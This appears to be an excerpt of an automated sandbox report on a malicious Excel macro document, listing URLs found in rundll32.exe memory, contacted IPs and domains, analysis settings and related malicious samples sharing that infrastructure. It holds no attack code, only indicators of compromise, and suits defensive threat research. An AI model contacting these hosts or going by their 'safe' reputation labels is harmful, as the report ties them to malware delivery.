usaaforced.fun	unknown	unknown	true	0%, URL Reputation 0%, URL Reputation 0%, URL Reputation	unknown
tvorartificialnature.xyz	unknown	unknown	true	0%, URL Reputation 0%, URL Reputation 0%, URL Reputation	unknown
aws.amazon.com	unknown	unknown	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://twitter.com/awscloud	rundll32.exe, 00000003.00000003.2224598065.0000000000397000.00000004.00000001.sdmp, rundll32.exe, 00000006.00000003.2188078366.0000000002A26000.00000004.00000001.sdmp	false		high
https://a0.awsstatic.com/libra-css/images/logo	rundll32.exe, 00000003.00000003.2105887933.0000000000397000.00000004.00000001.sdmp	false		high
https://aws.amazon.com/terms/?nc1=f_pr	rundll32.exe, 00000003.00000003.2224598065.0000000000397000.00000004.00000001.sdmp	false		high
https://dc.ads.linkedin.com/collect/?pid=3038&fmt=gif	rundll32.exe, 00000003.00000003.2224598065.0000000000397000.00000004.00000001.sdmp	false		high
https://s0.awsstatic.com/en_US/nav/v3/panel-content/mobile/index.html	rundll32.exe, 00000003.00000003.2357744381.0000000002F87000.00000004.00000001.sdmp	false		high
https://a0.awsstatic.com/plc/js/1.0.108/plc	rundll32.exe, 00000003.00000003.2357744381.0000000002F87000.00000004.00000001.sdmp	false		high
https://aws.amazon.com/cn/	rundll32.exe, 00000003.00000003.2105887933.0000000000397000.00000004.00000001.sdmp, rundll32.exe, 00000006.00000003.2170922422.0000000000367000.00000004.00000001.sdmp	false		high
http://crl.pkioverheid.nl/DomOrganisatieLatestCRL-G2.crl0	rundll32.exe, 00000003.00000002.2497730977.0000000000317000.00000004.00000020.sdmp, rundll32.exe, 00000006.00000003.2170889443.0000000000306000.00000004.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://www.diginotar.nl/cps/pkioverheid0	rundll32.exe, 00000003.00000002.2497730977.0000000000317000.00000004.00000020.sdmp, rundll32.exe, 00000006.00000003.2170889443.0000000000306000.00000004.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
https://a0.awsstatic.com/libra-css/images	rundll32.exe, 00000003.00000003.2357744381.0000000002F87000.00000004.00000001.sdmp	false		high
https://a0.awsstatic.com/psf/null	rundll32.exe, 00000003.00000003.2357744381.0000000002F87000.00000004.00000001.sdmp	false		high
https://aws.amazon.com/ar/	rundll32.exe, 00000003.00000003.2105887933.0000000000397000.00000004.00000001.sdmp, rundll32.exe, 00000006.00000003.2170922422.0000000000367000.00000004.00000001.sdmp	false		high
https://www.honeycode.aws/?&trk=el_a134p000003yC6YAAU&trkCampaign=pac-edm-2020-honeycode-hom	rundll32.exe, 00000003.00000003.2357744381.0000000002F87000.00000004.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
https://pages.awscloud.com/zillow-case-study?hp=tile&story=zllw	rundll32.exe, 00000003.00000003.2357744381.0000000002F87000.00000004.00000001.sdmp	false		high
https://pages.awscloud.com/communication-preferences?trk=homepage	rundll32.exe, 00000003.00000003.2224598065.0000000000397000.00000004.00000001.sdmp, rundll32.exe, 00000006.00000003.2188078366.0000000002A26000.00000004.00000001.sdmp	false		high
http://ocsp.rootg2.amazontrust.com08	rundll32.exe, 00000003.00000002.2497730977.0000000000317000.00000004.00000020.sdmp, rundll32.exe, 00000006.00000003.2170889443.0000000000306000.00000004.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
https://aws.amazon.com/cn/?nc1=h_ls	rundll32.exe, 00000003.00000003.2224598065.0000000000397000.00000004.00000001.sdmp, rundll32.exe, 00000003.00000003.2357744381.0000000002F87000.00000004.00000001.sdmp	false		high
https://portal.aws.amazon.com/gp/aws/developer/registration/index.html?nc1=f_ct&src=default	rundll32.exe, 00000003.00000003.2224598065.0000000000397000.00000004.00000001.sdmp, rundll32.exe, 00000006.00000003.2188078366.0000000002A26000.00000004.00000001.sdmp	false		high
https://aws.amazon.com/ru/	rundll32.exe, 00000003.00000003.2105887933.0000000000397000.00000004.00000001.sdmp, rundll32.exe, 00000006.00000003.2170922422.0000000000367000.00000004.00000001.sdmp	false		high
https://aws.amazon.com/tw/?nc1=h_ls	rundll32.exe, 00000003.00000003.2224598065.0000000000397000.00000004.00000001.sdmp, rundll32.exe, 00000003.00000003.2357744381.0000000002F87000.00000004.00000001.sdmp	false		high
https://fls-na.amazon.com/1/action-impressions/1/OE/aws-mktg/action/awsm_:comp_DeprecatedBrowser	rundll32.exe, 00000003.00000003.2224598065.0000000000397000.00000004.00000001.sdmp	false		high
https://i18n-string.us-west-2.prod.pricing.aws.a2z.com	rundll32.exe, 00000003.00000003.2357744381.0000000002F87000.00000004.00000001.sdmp	false		high
https://aws.amazon.com/ko/	rundll32.exe, 00000003.00000003.2105887933.0000000000397000.00000004.00000001.sdmp, rundll32.exe, 00000006.00000003.2170922422.0000000000367000.00000004.00000001.sdmp	false		high
https://aws.amazon.com/ru/?nc1=h_ls	rundll32.exe, 00000003.00000003.2224598065.0000000000397000.00000004.00000001.sdmp, rundll32.exe, 00000003.00000003.2357744381.0000000002F87000.00000004.00000001.sdmp	false		high
https://a0.awsstatic.com/libra-css/images/site/fav/favicon.ico	rundll32.exe, 00000003.00000003.2357744381.0000000002F87000.00000004.00000001.sdmp	false		high
https://aws.amazon.com/es/	rundll32.exe, 00000003.00000003.2105887933.0000000000397000.00000004.00000001.sdmp, rundll32.exe, 00000006.00000003.2170922422.0000000000367000.00000004.00000001.sdmp	false		high
http://crl.sca1b.amazontrust.com/sca1b.crl0	rundll32.exe, 00000003.00000002.2497730977.0000000000317000.00000004.00000020.sdmp, rundll32.exe, 00000006.00000003.2170889443.0000000000306000.00000004.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
https://a0.awsstatic.com/target/1.0.113/aws-target-mediator.js	rundll32.exe, 00000003.00000003.2357744381.0000000002F87000.00000004.00000001.sdmp	false		high
https://docs.aws.amazon.com/index.html?nc2=h_ql_doc	rundll32.exe, 00000003.00000003.2357744381.0000000002F87000.00000004.00000001.sdmp	false		high
http://tvorartificialnature.xyz/	rundll32.exe, 00000006.00000003.2218917398.0000000000374000.00000004.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
https://aws.amazon.com/ar/?nc1=h_ls	rundll32.exe, 00000003.00000003.2224598065.0000000000397000.00000004.00000001.sdmp, rundll32.exe, 00000003.00000003.2357744381.0000000002F87000.00000004.00000001.sdmp	false		high
https://aws.amazon.com/j	rundll32.exe, 00000003.00000003.2105903407.0000000000332000.00000004.00000001.sdmp	false		high
http://tvorartificialnature.xyz/vorarti	rundll32.exe, 00000006.00000003.2187638501.000000000037B000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://aws.amazon.com/th/	rundll32.exe, 00000003.00000003.2105887933.0000000000397000.00000004.00000001.sdmp, rundll32.exe, 00000006.00000003.2170922422.0000000000367000.00000004.00000001.sdmp	false		high
http://www.windows.com/pctv.	rundll32.exe, 00000005.00000002.2179373404.0000000001AD0000.00000002.00000001.sdmp	false		high
https://a0.awsstatic.com/pricing-calculator/js/1.0.2	rundll32.exe, 00000003.00000003.2357744381.0000000002F87000.00000004.00000001.sdmp	false		high
https://aws.amazon.com/marketplace/?nc2=h_mo	rundll32.exe, 00000003.00000003.2357744381.0000000002F87000.00000004.00000001.sdmp	false		high
http://ocsp.sca1b.amazontrust.com06	rundll32.exe, 00000003.00000002.2497730977.0000000000317000.00000004.00000020.sdmp, rundll32.exe, 00000006.00000003.2170889443.0000000000306000.00000004.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
https://amazon.com/	rundll32.exe, 00000003.00000002.2497730977.0000000000317000.00000004.00000020.sdmp	false		high
https://a0.awsstatic.com/libra-css/images/logos/aws_logo_smile_179x109.png	rundll32.exe, 00000003.00000003.2357744381.0000000002F87000.00000004.00000001.sdmp	false		high
https://console.aws.amazon.com/support/home/?nc2=h_ql_cu	rundll32.exe, 00000003.00000003.2357744381.0000000002F87000.00000004.00000001.sdmp	false		high
http://crl.rootca1.amazontrust.com/rootca1.crl0	rundll32.exe, 00000003.00000002.2497730977.0000000000317000.00000004.00000020.sdmp, rundll32.exe, 00000006.00000003.2170889443.0000000000306000.00000004.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
https://aws.amazon.com/search/	rundll32.exe, 00000003.00000003.2357744381.0000000002F87000.00000004.00000001.sdmp	false		high
https://console.aws.amazon.com/iam/home?nc2=h_m_sc#security_credential	rundll32.exe, 00000003.00000003.2357744381.0000000002F87000.00000004.00000001.sdmp	false		high
https://aws.amazon.com/?nc2=h_lg	rundll32.exe, 00000003.00000003.2357744381.0000000002F87000.00000004.00000001.sdmp	false		high
http://ocsp.rootca1.amazontrust.com0:	rundll32.exe, 00000003.00000002.2497730977.0000000000317000.00000004.00000020.sdmp, rundll32.exe, 00000006.00000003.2170889443.0000000000306000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://console.aws.amazon.com/support/home/?nc1=f_dr	rundll32.exe, 00000003.00000003.2224598065.0000000000397000.00000004.00000001.sdmp	false		high
https://a0.awsstatic.com/aws-blog/1.0.46/js	rundll32.exe, 00000003.00000003.2357744381.0000000002F87000.00000004.00000001.sdmp	false		high
https://aws.amazon.com/fr/	rundll32.exe, 00000003.00000003.2105887933.0000000000397000.00000004.00000001.sdmp, rundll32.exe, 00000006.00000003.2170922422.0000000000367000.00000004.00000001.sdmp	false		high
http://windowsmedia.com/redir/services.asp?WMPFriendly=true	rundll32.exe, 00000003.00000002.2498007471.0000000001E77000.00000002.00000001.sdmp, rundll32.exe, 00000004.00000002.2171708661.0000000001E97000.00000002.00000001.sdmp, rundll32.exe, 00000005.00000002.2179647418.0000000001CB7000.00000002.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
https://console.aws.amazon.com/console/home?nc1=f_ct&src=footer-signin-mobile	rundll32.exe, 00000003.00000003.2224598065.0000000000397000.00000004.00000001.sdmp	false		high
http://usaaforced.fun/j	rundll32.exe, 00000003.00000002.2497730977.0000000000317000.00000004.00000020.sdmp	false	Avira URL Cloud: safe	unknown
https://aws.amazon.com/vi/	rundll32.exe, 00000003.00000003.2105887933.0000000000397000.00000004.00000001.sdmp, rundll32.exe, 00000006.00000003.2170922422.0000000000367000.00000004.00000001.sdmp	false		high
https://www.twitch.tv/aws	rundll32.exe, 00000003.00000003.2224598065.0000000000397000.00000004.00000001.sdmp, rundll32.exe, 00000006.00000003.2188078366.0000000002A26000.00000004.00000001.sdmp	false		high
https://aws.amazon.com/marketplace/?nc2=h_ql_mp	rundll32.exe, 00000003.00000003.2357744381.0000000002F87000.00000004.00000001.sdmp	false		high
https://aws.amazon.com/search	rundll32.exe, 00000003.00000003.2357744381.0000000002F87000.00000004.00000001.sdmp	false		high
http://crl.rootg2.amazontrust.com/rootg2.crl0	rundll32.exe, 00000003.00000002.2497730977.0000000000317000.00000004.00000020.sdmp, rundll32.exe, 00000006.00000003.2170889443.0000000000306000.00000004.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous.	rundll32.exe, 00000003.00000002.2498601207.0000000002B60000.00000002.00000001.sdmp, rundll32.exe, 00000006.00000002.2498673488.0000000002CE0000.00000002.00000001.sdmp	false		high
https://a0.awsstatic.com/da/js/1.0.47/aws-da.js	rundll32.exe, 00000003.00000003.2224598065.0000000000397000.00000004.00000001.sdmp	false		high
https://aws.amazon.com/tw/	rundll32.exe, 00000003.00000003.2105887933.0000000000397000.00000004.00000001.sdmp, rundll32.exe, 00000006.00000003.2170922422.0000000000367000.00000004.00000001.sdmp	false		high
https://aws.amazon.com/tr/?nc1=h_ls	rundll32.exe, 00000003.00000003.2224598065.0000000000397000.00000004.00000001.sdmp, rundll32.exe, 00000003.00000003.2357744381.0000000002F87000.00000004.00000001.sdmp	false		high
https://console.aws.amazon.com/?nc2=h_m_mc	rundll32.exe, 00000003.00000003.2357744381.0000000002F87000.00000004.00000001.sdmp	false		high
https://aws.amazon.com/fr/?nc1=h_ls	rundll32.exe, 00000003.00000003.2224598065.0000000000397000.00000004.00000001.sdmp, rundll32.exe, 00000003.00000003.2357744381.0000000002F87000.00000004.00000001.sdmp	false		high
https://a0.aws	rundll32.exe, 00000006.00000003.2170922422.0000000000367000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://o.ss2.us/0	rundll32.exe, 00000003.00000002.2497730977.0000000000317000.00000004.00000020.sdmp, rundll32.exe, 00000006.00000003.2170889443.0000000000306000.00000004.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
https://aws.amazon.com/search/?searchQuery=	rundll32.exe, 00000003.00000003.2357744381.0000000002F87000.00000004.00000001.sdmp	false		high
https://a0.awsstatic.com/libra-search/1.0.13/js	rundll32.exe, 00000003.00000003.2357744381.0000000002F87000.00000004.00000001.sdmp	false		high
https://aws.amazon.com/privacy/?nc1=f_pr	rundll32.exe, 00000003.00000003.2224598065.0000000000397000.00000004.00000001.sdmp	false		high
https://aws.amazon.com/pt/?nc1=h_ls	rundll32.exe, 00000003.00000003.2224598065.0000000000397000.00000004.00000001.sdmp, rundll32.exe, 00000003.00000003.2357744381.0000000002F87000.00000004.00000001.sdmp	false		high
https://aws.amazon.com/jp/?nc1=h_ls	rundll32.exe, 00000003.00000003.2224598065.0000000000397000.00000004.00000001.sdmp, rundll32.exe, 00000003.00000003.2357744381.0000000002F87000.00000004.00000001.sdmp	false		high
http://crl.entrust.net/2048ca.crl0	rundll32.exe, 00000003.00000002.2497730977.0000000000317000.00000004.00000020.sdmp	false		high
https://aws.amazon.com/marketplace?aws=hp	rundll32.exe, 00000003.00000003.2357744381.0000000002F87000.00000004.00000001.sdmp	false		high
https://aws.amazon.com/	rundll32.exe, 00000006.00000003.2170922422.0000000000367000.00000004.00000001.sdmp	false		high
http://www.msnbc.com/news/ticker.txt	rundll32.exe, 00000003.00000002.2497882095.0000000001C90000.00000002.00000001.sdmp, rundll32.exe, 00000004.00000002.2171558379.0000000001CB0000.00000002.00000001.sdmp, rundll32.exe, 00000005.00000002.2179373404.0000000001AD0000.00000002.00000001.sdmp	false		high
https://a0.awsstatic.com/libra-css/images/site/touch-icon-ipad-144-smile.png	rundll32.exe, 00000003.00000003.2357744381.0000000002F87000.00000004.00000001.sdmp	false		high
https://a0.awsstatic.com/s_code/js/3.0/awshome_s_code.js	rundll32.exe, 00000003.00000003.2357744381.0000000002F87000.00000004.00000001.sdmp	false		high
https://aws.amazon.com/podcasts/aws-podcast/	rundll32.exe, 00000003.00000003.2224598065.0000000000397000.00000004.00000001.sdmp, rundll32.exe, 00000006.00000003.2188078366.0000000002A26000.00000004.00000001.sdmp	false		high
http://ocsp.entrust.net03	rundll32.exe, 00000003.00000002.2497730977.0000000000317000.00000004.00000020.sdmp, rundll32.exe, 00000006.00000003.2170889443.0000000000306000.00000004.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
https://aws.amazon.com/jp/	rundll32.exe, 00000003.00000003.2105887933.0000000000397000.00000004.00000001.sdmp, rundll32.exe, 00000006.00000003.2170922422.0000000000367000.00000004.00000001.sdmp	false		high
http://crt.rootg2.amazontrust.com/rootg2.cer0=	rundll32.exe, 00000003.00000002.2497730977.0000000000317000.00000004.00000020.sdmp, rundll32.exe, 00000006.00000003.2170889443.0000000000306000.00000004.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
https://aws.amazon.com/pt/	rundll32.exe, 00000003.00000003.2105887933.0000000000397000.00000004.00000001.sdmp, rundll32.exe, 00000006.00000003.2170922422.0000000000367000.00000004.00000001.sdmp	false		high
https://aws.amazon.com/?nc1=h_ls	rundll32.exe, 00000003.00000003.2224598065.0000000000397000.00000004.00000001.sdmp, rundll32.exe, 00000003.00000003.2357744381.0000000002F87000.00000004.00000001.sdmp	false		high
https://s0.awsstatic.com/en_US/nav/v3/panel-content/desktop/index.html	rundll32.exe, 00000003.00000003.2357744381.0000000002F87000.00000004.00000001.sdmp	false		high
http://crt.comod	rundll32.exe, 00000006.00000003.2173075122.0000000000351000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://aws.amazon.com/es/?nc1=h_ls	rundll32.exe, 00000003.00000003.2224598065.0000000000397000.00000004.00000001.sdmp, rundll32.exe, 00000003.00000003.2357744381.0000000002F87000.00000004.00000001.sdmp	false		high
http://www.icra.org/vocabulary/.	rundll32.exe, 00000003.00000002.2498007471.0000000001E77000.00000002.00000001.sdmp, rundll32.exe, 00000004.00000002.2171708661.0000000001E97000.00000002.00000001.sdmp, rundll32.exe, 00000005.00000002.2179647418.0000000001CB7000.00000002.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
https://d1.awsstatic.com	rundll32.exe, 00000003.00000003.2105887933.0000000000397000.00000004.00000001.sdmp, rundll32.exe, 00000006.00000003.2170922422.0000000000367000.00000004.00000001.sdmp	false		high
https://aws.amazon.com/de/	rundll32.exe, 00000003.00000003.2105887933.0000000000397000.00000004.00000001.sdmp, rundll32.exe, 00000006.00000003.2170922422.0000000000367000.00000004.00000001.sdmp	false		high
http://investor.msn.com/	rundll32.exe, 00000003.00000002.2497882095.0000000001C90000.00000002.00000001.sdmp, rundll32.exe, 00000004.00000002.2171558379.0000000001CB0000.00000002.00000001.sdmp, rundll32.exe, 00000005.00000002.2179373404.0000000001AD0000.00000002.00000001.sdmp	false		high
https://phd.aws.amazon.com/?nc2=h_m_sc	rundll32.exe, 00000003.00000003.2357744381.0000000002F87000.00000004.00000001.sdmp	false		high
https://a0.awsstatic.com/libra/1.0.376/librastandardlib	rundll32.exe, 00000003.00000003.2357744381.0000000002F87000.00000004.00000001.sdmp	false		high
https://aws.amazon.com/id/?nc1=h_ls	rundll32.exe, 00000003.00000003.2224598065.0000000000397000.00000004.00000001.sdmp, rundll32.exe, 00000003.00000003.2357744381.0000000002F87000.00000004.00000001.sdmp	false		high
https://a0.awsstatic.com/libra-css/images/logos/aws_logo_smile_1200x630.png	rundll32.exe, 00000003.00000003.2357744381.0000000002F87000.00000004.00000001.sdmp	false		high
http://www.%s.comPA	rundll32.exe, 00000003.00000002.2498601207.0000000002B60000.00000002.00000001.sdmp, rundll32.exe, 00000006.00000002.2498673488.0000000002CE0000.00000002.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	low
https://portal.aws.amazon.com/gp/aws/developer/registration/index.html?nc2=h_ct&src=default	rundll32.exe, 00000003.00000003.2357744381.0000000002F87000.00000004.00000001.sdmp	false		high
https://a0.awsstatic.com	rundll32.exe, 00000006.00000003.2170922422.0000000000367000.00000004.00000001.sdmp	false		high
http://ocsp.entrust.net0D	rundll32.exe, 00000003.00000002.2497730977.0000000000317000.00000004.00000020.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
https://pages.awscloud.com/fico-case-study.html?hp=tile&story=fico	rundll32.exe, 00000003.00000003.2357744381.0000000002F87000.00000004.00000001.sdmp	false		high
http://s.ss2.us/r.crl0	rundll32.exe, 00000003.00000002.2497730977.0000000000317000.00000004.00000020.sdmp, rundll32.exe, 00000006.00000003.2170889443.0000000000306000.00000004.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
https://aws.amazon.com/th/?nc1=f_ls	rundll32.exe, 00000003.00000003.2224598065.0000000000397000.00000004.00000001.sdmp, rundll32.exe, 00000003.00000003.2357744381.0000000002F87000.00000004.00000001.sdmp	false		high

Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public

IP	Domain	Country	ASN	ASN Name	Malicious
50.87.146.86	columbia.aula-web.net	United States	46606	UNIFIEDLAYER-AS-1US	false
199.79.62.99	tajushariya.com	United States	394695	PUBLIC-DOMAIN-REGISTRYUS	false
192.185.214.87	partsapp.com.br	United States	46606	UNIFIEDLAYER-AS-1US	false
143.204.3.74	dr49lng3n1n2s.cloudfront.net	United States	16509	AMAZON-02US	false
192.185.48.186	metaflip.io	United States	46606	UNIFIEDLAYER-AS-1US	false

Private

IP
192.168.2.255

General Information

Joe Sandbox Version:	31.0.0 Emerald
Analysis ID:	382871
Start date:	06.04.2021
Start time:	19:38:57
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 9m 31s
Hypervisor based Inspection enabled:	false
Report type:	full
Sample file name:	document-1251000362.xlsm
Cookbook file name:	defaultwindowsofficecookbook.jbs
Analysis system description:	Windows 7 x64 SP1 with Office 2010 SP2 (IE 11, FF52, Chrome 57, Adobe Reader DC 15, Flash 25.0.0.127, Java 8 Update 121, .NET 4.6.2)
Number of analysed new started processes analysed:	11
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled HDC enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal100.troj.expl.evad.winXLSM@11/20@856/6
EGA Information:	Successful, ratio: 100%
HDC Information:	Successful, ratio: 20.4% (good quality ratio 11.8%) Quality average: 40.8% Quality standard deviation: 40.9%
HCA Information:	Successful, ratio: 74% Number of executed functions: 20 Number of non-executed functions: 3
Cookbook Comments:	Adjust boot time Enable AMSI Found application associated with file extension: .xlsm Found Word or Excel or PowerPoint or XPS Viewer Found warning dialog Click Ok Attach to Office via COM Scroll down Close Viewer
Warnings:	Show All Exclude process from analysis (whitelisted): dllhost.exe, WmiPrvSE.exe, svchost.exe Excluded IPs from analysis (whitelisted): 192.35.177.64, 205.185.216.10, 205.185.216.42 Excluded domains from analysis (whitelisted): audownload.windowsupdate.nsatc.net, au.download.windowsupdate.com.hwcdn.net, apps.digsigtrust.com, ctldl.windowsupdate.com, cds.d2s7q6s2.hwcdn.net, apps.identrust.com, au-bg-shim.trafficmanager.net Report size getting too big, too many NtDeviceIoControlFile calls found. Report size getting too big, too many NtQueryValueKey calls found. VT rate limit hit for: /opt/package/joesandbox/database/analysis/382871/sample/document-1251000362.xlsm

Simulations

Behavior and APIs

Time	Type	Description
19:39:52	API Interceptor	842x Sleep call for process: rundll32.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
50.87.146.86	document-1251000362.xlsm	Get hash	malicious	Browse
	document-1848152474.xlsm	Get hash	malicious	Browse
	document-959193245.xlsm	Get hash	malicious	Browse
	document-530268537.xlsm	Get hash	malicious	Browse
	document-1644845700.xlsm	Get hash	malicious	Browse
	document-1706683968.xlsm	Get hash	malicious	Browse
	document-968581210.xlsm	Get hash	malicious	Browse
	document-773551118.xlsm	Get hash	malicious	Browse
	document-804885672.xlsm	Get hash	malicious	Browse
	document-1794368715.xlsm	Get hash	malicious	Browse
	document-1154632083.xlsm	Get hash	malicious	Browse
	document-2096492671.xlsm	Get hash	malicious	Browse
	document-1987108866.xlsm	Get hash	malicious	Browse
	document-1862023781.xlsm	Get hash	malicious	Browse
	document-1128349241.xlsm	Get hash	malicious	Browse
	document-1467924102.xlsm	Get hash	malicious	Browse
	document-229569004.xlsm	Get hash	malicious	Browse
	document-655115812.xlsm	Get hash	malicious	Browse
	document-2101880844.xlsm	Get hash	malicious	Browse
	document-1008963425.xlsm	Get hash	malicious	Browse
199.79.62.99	TALQ_812421154768_10062020.vbs	Get hash	malicious	Browse	digitalschoolfaridabad.in/courses/images/parallax/mjogqxakfxg/8888888.jpg
199.79.62.99	TALQ_46998970_10062020.vbs	Get hash	malicious	Browse	digitalschoolfaridabad.in/courses/images/parallax/mjogqxakfxg/8888888.jpg
192.185.214.87	document-1251000362.xlsm	Get hash	malicious	Browse
	document-1848152474.xlsm	Get hash	malicious	Browse
	document-959193245.xlsm	Get hash	malicious	Browse
	document-530268537.xlsm	Get hash	malicious	Browse
	document-1644845700.xlsm	Get hash	malicious	Browse
	document-1706683968.xlsm	Get hash	malicious	Browse
	document-968581210.xlsm	Get hash	malicious	Browse
	document-773551118.xlsm	Get hash	malicious	Browse
	document-804885672.xlsm	Get hash	malicious	Browse
	document-1794368715.xlsm	Get hash	malicious	Browse
	document-1154632083.xlsm	Get hash	malicious	Browse
	document-2096492671.xlsm	Get hash	malicious	Browse
	document-1987108866.xlsm	Get hash	malicious	Browse
	document-1862023781.xlsm	Get hash	malicious	Browse
	document-1128349241.xlsm	Get hash	malicious	Browse
	document-1467924102.xlsm	Get hash	malicious	Browse
	document-229569004.xlsm	Get hash	malicious	Browse
	document-655115812.xlsm	Get hash	malicious	Browse
	document-2101880844.xlsm	Get hash	malicious	Browse
	document-1008963425.xlsm	Get hash	malicious	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
tajushariya.com	document-1251000362.xlsm	Get hash	malicious	Browse	199.79.62.99
	document-1848152474.xlsm	Get hash	malicious	Browse	199.79.62.99
	document-959193245.xlsm	Get hash	malicious	Browse	199.79.62.99
	document-530268537.xlsm	Get hash	malicious	Browse	199.79.62.99
	document-1644845700.xlsm	Get hash	malicious	Browse	199.79.62.99
	document-1706683968.xlsm	Get hash	malicious	Browse	199.79.62.99
	document-968581210.xlsm	Get hash	malicious	Browse	199.79.62.99
	document-773551118.xlsm	Get hash	malicious	Browse	199.79.62.99
	document-804885672.xlsm	Get hash	malicious	Browse	199.79.62.99
	document-1794368715.xlsm	Get hash	malicious	Browse	199.79.62.99
	document-1154632083.xlsm	Get hash	malicious	Browse	199.79.62.99
	document-2096492671.xlsm	Get hash	malicious	Browse	199.79.62.99
	document-1987108866.xlsm	Get hash	malicious	Browse	199.79.62.99
	document-1862023781.xlsm	Get hash	malicious	Browse	199.79.62.99
	document-1128349241.xlsm	Get hash	malicious	Browse	199.79.62.99
	document-1467924102.xlsm	Get hash	malicious	Browse	199.79.62.99
	document-229569004.xlsm	Get hash	malicious	Browse	199.79.62.99
	document-655115812.xlsm	Get hash	malicious	Browse	199.79.62.99
	document-2101880844.xlsm	Get hash	malicious	Browse	199.79.62.99
	document-1008963425.xlsm	Get hash	malicious	Browse	199.79.62.99
metaflip.io	document-1848152474.xlsm	Get hash	malicious	Browse	192.185.48.186
	document-959193245.xlsm	Get hash	malicious	Browse	192.185.48.186
	document-530268537.xlsm	Get hash	malicious	Browse	192.185.48.186
	document-1644845700.xlsm	Get hash	malicious	Browse	192.185.48.186
	document-1706683968.xlsm	Get hash	malicious	Browse	192.185.48.186
	document-968581210.xlsm	Get hash	malicious	Browse	192.185.48.186
	document-773551118.xlsm	Get hash	malicious	Browse	192.185.48.186
	document-804885672.xlsm	Get hash	malicious	Browse	192.185.48.186
	document-1794368715.xlsm	Get hash	malicious	Browse	192.185.48.186
	document-1154632083.xlsm	Get hash	malicious	Browse	192.185.48.186
	document-2096492671.xlsm	Get hash	malicious	Browse	192.185.48.186
	document-1987108866.xlsm	Get hash	malicious	Browse	192.185.48.186
	document-1862023781.xlsm	Get hash	malicious	Browse	192.185.48.186
	document-1128349241.xlsm	Get hash	malicious	Browse	192.185.48.186
	document-1467924102.xlsm	Get hash	malicious	Browse	192.185.48.186
	document-229569004.xlsm	Get hash	malicious	Browse	192.185.48.186
	document-655115812.xlsm	Get hash	malicious	Browse	192.185.48.186
	document-2101880844.xlsm	Get hash	malicious	Browse	192.185.48.186
	document-1008963425.xlsm	Get hash	malicious	Browse	192.185.48.186

ASN

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
UNIFIEDLAYER-AS-1US	document-1251000362.xlsm	Get hash	malicious	Browse	192.185.48.186
	catalogue-41.xlsb	Get hash	malicious	Browse	108.167.180.111
	documents-1660683173.xlsm	Get hash	malicious	Browse	192.185.56.250
	06iKnPFk8Y.dll	Get hash	malicious	Browse	162.241.54.59
	06iKnPFk8Y.dll	Get hash	malicious	Browse	162.241.54.59
	ddff.exe	Get hash	malicious	Browse	108.179.235.108
	PowerShell_Input.ps1	Get hash	malicious	Browse	162.241.61.203
	New PO#700-20-HDO410444RF217,pdf.exe	Get hash	malicious	Browse	192.185.122.118
	Purchase Order.9000.scan.pdf...exe	Get hash	malicious	Browse	162.241.148.243
	document-1848152474.xlsm	Get hash	malicious	Browse	192.185.48.186
	7z7Q51Y8Xd.dll	Get hash	malicious	Browse	162.241.54.59
	pySsaGoiCT.dll	Get hash	malicious	Browse	162.241.54.59
	QOpv1PykFc.dll	Get hash	malicious	Browse	162.241.54.59
	S4caD0RhXL.dll	Get hash	malicious	Browse	162.241.54.59
	pH8YW11W1x.dll	Get hash	malicious	Browse	162.241.54.59
	7z7Q51Y8Xd.dll	Get hash	malicious	Browse	162.241.54.59
	pySsaGoiCT.dll	Get hash	malicious	Browse	162.241.54.59
	QOpv1PykFc.dll	Get hash	malicious	Browse	162.241.54.59
	S4caD0RhXL.dll	Get hash	malicious	Browse	162.241.54.59
	pH8YW11W1x.dll	Get hash	malicious	Browse	162.241.54.59
PUBLIC-DOMAIN-REGISTRYUS	document-1251000362.xlsm	Get hash	malicious	Browse	199.79.62.99
	document-1055791644.xls	Get hash	malicious	Browse	103.50.162.157
	catalogue-41.xlsb	Get hash	malicious	Browse	5.100.152.162
	documents-1660683173.xlsm	Get hash	malicious	Browse	111.118.215.222
	swift Copy.xls.exe	Get hash	malicious	Browse	208.91.199.225
	document-1848152474.xlsm	Get hash	malicious	Browse	199.79.62.99
	FN vw Safety 1 & 2.exe	Get hash	malicious	Browse	208.91.199.223
	MV TBN.uslfze.exe	Get hash	malicious	Browse	208.91.199.224
